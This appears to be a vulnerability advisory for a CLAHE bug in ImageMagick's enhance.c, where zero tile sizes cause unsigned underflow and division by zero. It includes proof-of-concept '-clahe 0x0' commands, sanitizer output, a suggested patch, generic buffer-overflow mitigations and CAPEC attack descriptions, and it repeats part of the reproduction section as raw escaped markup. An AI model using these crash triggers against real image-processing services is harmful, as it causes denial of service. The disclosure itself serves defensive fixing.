Summary
ImageMagick CLAHE : Unsigned underflow and division-by-zero lead to OOB pointer arithmetic and process crash (DoS)
Details

Summary

A single root cause in the CLAHE implementation — tile width/height becoming zero — produces two distinct but related unsafe behaviors. Vulnerabilities exists in the CLAHEImage() function of ImageMagick’s MagickCore/enhance.c.

  1. Unsigned integer underflow → out-of-bounds pointer arithmetic (OOB): when tile_info.height == 0, the expression tile_info.height - 1 (unsigned) wraps to a very large value; using that value in pointer arithmetic yields a huge offset and OOB memory access (leading to memory corruption, SIGSEGV, or resource exhaustion).
  2. Division/modulus by zero: where code performs ... / tile_info.width or ... % tile_info.height without re-checking for zero, causing immediate division-by-zero crashes under sanitizers or abort at runtime.

Both behaviors are triggered by the same invalid tile condition (e.g., CLI exact -clahe 0x0! or automatic tile derivation dim >> 3 == 0 for very small images).


Details

Unsigned underflow(can lea to OOB)

  • Location: MagickCore/enhance.c, around line 609
  • Version tested: 7.1.2-8 (local ASan(undefined). /UBSan build)
  • Vulnerable code

    enhance.c: 609

    c p += (ptrdiff_t) clahe_info->width * (tile.height - 1);

  • Root Cause

    • If tile.height == 0, then (tile.height - 1) underflows to UINT_MAX.
    • Multiplication with clahe_info->width yields a huge value close to SIZE_MAX.
    • Adding this to p causes pointer arithmetic underflow.

Division-by-zero

  • File / Location: MagickCore/enhance.c, around line 669
  • Version tested: 7.1.2-8 (local ASan(undefined). /UBSan build)
  • vulnerable code

    enhance.c: 669-673

    c if ((image->columns % tile_info.width) != 0) tile_info.x=(ssize_t) (tile_info.width-(image->columns % tile_info.width)); tile_info.y=0; if ((image->rows % tile_info.height) != 0) tile_info.y=(ssize_t) (tile_info.height-(image->rows % tile_info.height));

  • Root cause

    Missing input validation / bounds checks after computing default tile dimensions:

    If either tile_info.width or tile_info.height is 0, this triggers a division by zero. Zeros can reach this point through:

    1. Exact tiles: CLI clahe 0x0! (the ! forces zero to be used verbatim).
    2. Auto tiles on tiny images: When a requested tile is 0 (no !), the code derives a default from the image size (e.g., dim >> 3). For images with dim < 8, this result is 0 unless clamped.

Reproduction

Unsigned underflow

Environment

Built with AddressSanitizer and UndefinedBehaviorSanitizer enabled.

export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0

Command

./magick xc:black -clahe 0x0 null:

Output

MagickCore/enhance.c:609:6: runtime error: addition of unsigned offset overflowed
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior MagickCore/enhance.c:609:6 in CLAHEImage

./magick -size 10x10 xc:black -clahe 0x0 null:

image

memory region corruption.

./magick -size 2000x2000 xc:black -clahe 0x0 null:

image

→ Significant memory consumption and evidence of memory region corruption.

./magick -size 4000x4000 xc:black -clahe 0x0 null:

image

→ Much larger memory usage; process appears to be aggressively consuming cache and address space.

./magick -size 8000x8000 xc:black -clahe 0x0 null:

image

→ Memory usage escalates further and begins exhausting available cache. If left running, the process is likely to crash (DoS) after sustained allocation attempts.

Division-by-zero

Environment: ASan/UBSan-enabled build.

export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0

Command

./magick -size 16x2 gradient: -type TrueColor -depth 8 -clahe 0x0! null:

Output

image

Notes: Without sanitizers, the process may terminate with just Aborted (still DoS).


Impact

  • Primary: Denial-of-Service — crash or sustained resource exhaustion (memory/cache thrash) when processing crafted parameters or small images via CLI or API. Attackers can trivially trigger via clahe 0x0! or by uploading very small images to services using ImageMagick.
  • Secondary (theoretical): OOB memory accesses and memory corruption could potentially be combined with other vulnerabilities to achieve more severe outcomes; however, no reliable code execution was demonstrated from these PoCs alone.

Suggested concrete patch snippets

Apply in CLAHEImage() after tile_info is computed but before any division/modulus/pointer arithmetic:

if (exact_tiles_requested && (tile_info.width == 0 || tile_info.height == 0)) {
  ThrowMagickException(exception, GetMagickModule(), OptionError,
                       "CLAHEInvalidTile", "%lux%lu",
                       (unsigned long) tile_info.width,
                       (unsigned long) tile_info.height);
  return (Image *) NULL;
}

if (!exact_tiles_requested) {
  tile_info.width  = (tile_info.width  == 0) ? MagickMax((size_t)1, image->columns >> 3) : tile_info.width;
  tile_info.height = (tile_info.height == 0) ? MagickMax((size_t)1, image->rows    >> 3) : tile_info.height;
}

if (tile_info.width == 0 || tile_info.height == 0) {
  ThrowMagickException(exception, GetMagickModule(), OptionError,
                       "CLAHEInvalidTile", "%lux%lu",
                       (unsigned long) tile_info.width,
                       (unsigned long) tile_info.height);
  return (Image *) NULL;
}

ssize_t tile_h_minus1 = (ssize_t)tile_info.height - 1;
if (tile_h_minus1 < 0) {
  ThrowMagickException(exception, GetMagickModule(), OptionError,
                       "CLAHEInvalidTile", "%lux%lu",
                       (unsigned long) tile_info.width,
                       (unsigned long) tile_info.height);
  return (Image *) NULL;
}
p += (ptrdiff_t) clahe_info->width * tile_h_minus1;

Notes about exact_tiles_requested: if the CLI/Wand parser already exposes whether ! was present, use it. If not, add a parse-time flag so CLAHEImage can know whether 0 is literal or auto.

For images with `dim \u003c 8`, this result is 0 unless clamped.\n\n---\n\n## Reproduction\n\n### **Unsigned underflow**\n\n**Environment**\n\nBuilt with AddressSanitizer and UndefinedBehaviorSanitizer enabled.\n\n```c\nexport UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1\nexport ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0\n```\n\n**Command**\n\n```bash\n./magick xc:black -clahe 0x0 null:\n```\n\n**Output**\n\n```\nMagickCore/enhance.c:609:6: runtime error: addition of unsigned offset overflowed\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior MagickCore/enhance.c:609:6 in CLAHEImage\n```\n\n`./magick -size 10x10 xc:black -clahe 0x0 null:`\n\n\u003cimg width=\"1068\" height=\"64\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9637ee-1d03-4066-834d-fda22410dd8b\" /\u003e\n\nmemory region corruption.\n\n`./magick -size 2000x2000 xc:black -clahe 0x0 null:`\n\n\u003cimg width=\"1069\" height=\"70\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ecbab79c-a3c2-4e8c-96c9-8e2aa8f0d2b2\" /\u003e\n\n\u2192 Significant memory consumption and evidence of memory region corruption.\n\n`./magick -size 4000x4000 xc:black -clahe 0x0 null:`\n\n\u003cimg width=\"776\" height=\"49\" alt=\"image\" src=\"https://github.com/user-attachments/assets/63a7cec5-616b-4aa5-87f3-a546a87e6625\" /\u003e\n\n\u2192 Much larger memory usage; process appears to be aggressively consuming cache and address space.\n\n`./magick -size 8000x8000 xc:black -clahe 0x0 null:`\n\n\u003cimg width=\"748\" height=\"46\" alt=\"image\" src=\"https://github.com/user-attachments/assets/48b3aac8-98b3-4fbb-a5ca-4e7936bca44b\" /\u003e\n\n\u2192 Memory usage escalates further and begins exhausting available cache.

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
  • Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
  • Consider adhering to the following rules when allocating and managing an application's memory:
  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

CAPEC-10: Buffer Overflow via Environment Variables

This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the adversary finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.

CAPEC-100: Overflow Buffers

Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.

CAPEC-123: Buffer Manipulation

An adversary manipulates an application's interaction with a buffer in an attempt to read or modify data they shouldn't have access to. Buffer attacks are distinguished in that it is the buffer space itself that is the target of the attack rather than any code responsible for interpreting the content of the buffer. In virtually all buffer attacks the content that is placed in the buffer is immaterial. Instead, most buffer attacks involve retrieving or providing more input than can be stored in the allocated buffer, resulting in the reading or overwriting of other unintended program memory.

CAPEC-14: Client-side Injection-induced Buffer Overflow

This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service. This hostile service is created to deliver the correct content to the client software. For example, if the client-side application is a browser, the service will host a webpage that the browser loads.

CAPEC-24: Filter Failure through Buffer Overflow

In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).

CAPEC-42: MIME Conversion

An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

CAPEC-44: Overflow Binary Resource File

An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may include music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the adversary access to the execution stack and execute arbitrary code in the target process.

CAPEC-45: Buffer Overflow via Symbolic Links

This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.

CAPEC-46: Overflow Variables and Tags

This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The adversary crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.

CAPEC-47: Buffer Overflow via Parameter Expansion

In this attack, the target software is given input that the adversary knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.

CAPEC-8: Buffer Overflow in an API Call

This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An adversary who has knowledge of known vulnerable libraries or shared code can easily target software that makes use of these libraries. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process.

CAPEC-9: Buffer Overflow in Local Command-Line Utilities

This attack targets command-line utilities available in a number of shells. An adversary can leverage a vulnerability found in a command-line utility to escalate privilege to root.
